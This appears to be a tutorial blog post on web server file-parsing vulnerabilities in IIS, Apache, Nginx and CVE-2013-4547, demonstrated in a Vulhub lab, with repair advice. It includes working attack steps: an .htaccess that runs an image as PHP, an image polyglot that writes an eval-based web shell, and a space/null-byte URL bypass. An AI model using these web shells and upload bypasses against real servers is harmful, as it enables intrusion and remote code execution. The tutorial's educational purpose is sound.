Common parsing vulnerabilities

Parsing Vulnerabilities#

When we access a web server, such as the www.example.com/index.php file, a request is sent to the web server to access the PHP file. The PHP parser processes the PHP file into a static file and returns it to the browser for the user to view.

Server parsing vulnerabilities occur when the browser uploads a file to the server, and the server parses the maliciously constructed file by the attacker and returns it to the browser, thereby achieving the goal of uploading malicious files.

IIS5.x/6.0 Parsing Vulnerability#

There are two methods for IIS parsing:

Directory Parsing

If there is a directory named xx.asp on the server, then files under this directory will be parsed as ASP files.

File Parsing

You can connect successfully using a tool like a knife.

In addition to executing ASP files, IIS6.0 can also execute files with extensions such as: asa, cer, cdx, etc. This can be exploited in conjunction with directory parsing vulnerabilities, such as xxx.cer/xxx.jpg, xxx.asa;.jpg.

Apache Parsing Vulnerability#

Multiple Extensions

Apache recognizes file extensions from right to left, for example: xxx.php.hcx.hts. It first checks the rightmost .hts extension, finds it abnormal, starts parsing .hcx, and ultimately parses to the PHP file, thus executing the malicious file.

Check the PHP module configuration file /etc/apache2/mods-available/php7.0.conf

# From the following FileMatch, we can see ".+.ph(p[3457]?|t|tml)$", $ represents the last one, indicating that PHP itself
# still checks the last extension.

<FilesMatch ".+.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>

<FilesMatch ".+.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
</FilesMatch>

Deny access to files without filename (e.g. '.php')

<FilesMatch "^.ph(p[3457]?|t|tml|ps)$">
Require all denied
</FilesMatch>

Running PHP scripts in user directories is disabled by default
To re-enable PHP in user directories comment the following lines
(from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
</Directory>

Accessing as follows, PHP is not parsed, and the source code is returned directly:

Next, we will change the $ in the above configuration file to \..

<FilesMatch ".+\.ph(p[3457]?|t|tml)\.">
    SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps\.">
    SetHandler application/x-httpd-php-source
    # Deny access to raw php sources by default
    # To re-enable it's recommended to enable access to the files
    # only in specific virtual host or directory
    Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)\.">
    Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
    <Directory /home/*/public_html>
        php_admin_flag engine Off
    </Directory>
</IfModule>

Restart the Apache service.

service apache2 restart

File parsing succeeded.

Rare Extensions

Apache will parse files of specific MIME types, which are defined in the /etc/mime.types file.

If the file upload section of the site does not filter the types in the mime.types file, then it is possible for an attacker to upload PHP files with unusual extensions that Apache can parse, thus bypassing the site filter.

.htaccess File

The .htaccess file does not exist by default in the root directory of the website and needs to be created manually. The content of .htaccess is as follows:

AddType application/x-httpd-php xxx

 <FilesMatch "shell.jpg">
	 SetHandler application/x-httpd-php
 </FilesMatch>

The .htaccess functionality is disabled by default, and the access result is as follows:

Edit the Apache configuration file.

Change AllowOverride None to AllowOverride All

<Directory />
        Options FollowSymLinks
        AllowOverride All
        Require all denied
</Directory>

<Directory /usr/share>
        AllowOverride None
        Require all granted
</Directory>

<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>

#<Directory /srv/>
#       Options Indexes FollowSymLinks
#       AllowOverride None
#       Require all granted
#</Directory>

Also change the matching for .ht to granted.

<FilesMatch "^.ht">
Require all granted
</FilesMatch>

Load the Rewrite Module

Create a symbolic link.

cd /etc/apache2/mods-enabled/
ln -s ../mods-available/rewrite.load rewrite.load

As above, the .htaccess functionality has been enabled. Create the corresponding test files in the root directory of the website.

root@kali:/var/www/html# tree
.
├── index.html
├── index.php
├── shell.jpg
├── test
│ ├── shell.jpg
│ └── [type.xxx](http://type.xxx/)
└── [type.xxx](http://type.xxx/)

The contents of shell.jpg and type.xxx are both:

<?php echo 'HELLO WORLD'; ?>

After accessing the shell.jpg image suffix and the type.xxx file in the browser, the PHP code file was executed directly.

Proper use of the .htaccess file can effectively bypass the PHP suffix filtering.

File Parsing Vulnerability Summary - Apache - CSDN Blog

Nginx Parsing Vulnerability#

Nginx is a high-performance web server that is widely used. It is not only often used as a reverse proxy but also supports PHP execution very well.

Nginx was found to have serious security issues in versions 0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37, which by default could lead the server to incorrectly parse any type of file as PHP, resulting in severe security issues that could allow malicious attackers to compromise Nginx servers supporting PHP.

Setting up an Nginx vulnerability environment is relatively complicated, so it's better to use a vulnerability platform directly!

Thus, we will demonstrate using the Vulhub vulnerability platform.

Vulhub Project Address: https://github.com/vulhub/vulhub

The Vulhub vulnerability platform is built on Docker, which allows you to pull the vulnerability environment directly and use it without having to set it up yourself.

Install Docker

# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3

# Install the latest version of Docker
curl -s https://get.docker.com/ | sh

# Start the Docker service
service docker start

# Install Compose
pip install docker-compose

Using Vulhub

# Pull the project
git clone https://github.com/vulhub/vulhub.git
cd vulhub

# Enter a specific vulnerability/environment directory
cd flask/ssti

# Automate the environment build
docker-compose build

# Start the entire environment
docker-compose up -d

The above is from Vulhub's README

Note:

When starting the environment, pay attention to the system time settings; if the time is inconsistent, an error will occur.

Get https://registry-1.docker.io/v2/: x509: certificate has expired or is no

The Nginx parsing vulnerability is not related to the Nginx or PHP version but is caused by improper user configuration files. However, in higher versions of PHP, the "security.limit_extensions" mechanism has been introduced, which by default only parses files with the .php extension.

Nginx version as follows:

When Nginx receives a test.jpg/.php file, it sees the .php extension at the end of the URL and assumes it is a PHP file, passing it to the PHP parser for processing. However, the PHP parser does not find this PHP file, so it removes the .php extension, taking test.jpg, which exists but is an image file, and the PHP parser does not parse it, returning Access denied.

The Nginx parsing vulnerability was discovered by the 80sec organization. When fastcgi is enabled, if an attacker uploads a jpg file with the following content:

<?PHP phpinfo() ?>

Then accessing xxx.jpg/.php will parse this file as a PHP file.

At this point, it displays as follows:

Displays Access denied.

This is because in the latest php.ini configuration file, cgi.fix_pathinfo=1, which defaults to 1. If cgi.fix_pathinfo is set to 0, then the subsequent suffix will not be parsed, and the parsing vulnerability will no longer exist.

It still cannot be parsed because in the new version of PHP, the "security.limit_extensions" mechanism has been introduced, limiting the executable file extensions.

# Find the php-fpm.conf file

# find / -name php-fpm.conf
/etc/php-fpm.conf

The php-fpm.conf file includes the configuration files in the /etc/php-fpm.d/*.conf directory.

Enter the /etc/php-fpm.d/ directory and edit the corresponding configuration file.

Restart the Nginx and PHP-FPM services.

Access in the browser.

# Create an image shell

copy xx.png/b + yy.txt/a xy.png

yy.txt content is as follows:

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

Upload a png image shell and access it in the browser.

Access the generated shell.php file with a tool like a knife, http://192.168.63.131/shell.php.

References:

https://blog.csdn.net/wn314/article/details/77388289

Repair Suggestions

Change cgi.fix_pathinfo=1 in the php.ini configuration file to cgi.fix_pathinfo=0.
The new version of PHP introduces the "security.limit_extensions" mechanism to restrict executable file extensions.

Nginx Filename Logic Vulnerability (CVE-2013-4547)#

Affected Versions: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

In the Nginx configuration file:

location ~ \.php$ {
            root           html;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            include        fastcgi_params;
#           try_files   $uri = 404;
            
        }

By default, files ending with .php are sent to fastcgi for parsing.

In the case of cgi.fix_pathinfo=0, it only allows the execution of files with the .php extension. If there is an Nginx filename logic vulnerability (CVE-2013-4547), illegal characters such as spaces and null terminators (\0) can cause confusion in Nginx's URI parsing finite state machine, allowing attackers to bypass the suffix restriction through non-encoded spaces and execute PHP code.

Test using the Vulhub environment.

The form box is as follows:

Upload a gif image file, intercept the request with Burp.

The content of the gif image file is as follows:

<?php phpinfo();?>

Change 1.gif to 1.gif[space], adding a space after .gif, and click forward, indicating that the upload was successful.

Access in the browser

Access 192.168.63.140:8080/uploadfiles/1.gif...php in the browser, adding ...php after the gif for easy packet modification, and Burp intercepts the request.

Change the first dot after gif to 20 and the second dot to 00, then click forward.

The final request URL is 192.168.63.140:8080/uploadfiles/1.gif1.gif[0x20][0x00].php

The PHP code executes successfully.

Summary#

This is an article I wrote a long time ago. If the file upload function point uses a whitelist, it usually needs to be combined with parsing vulnerabilities to be exploited. Parsing vulnerabilities are becoming less common now, as middleware versions have indeed increased.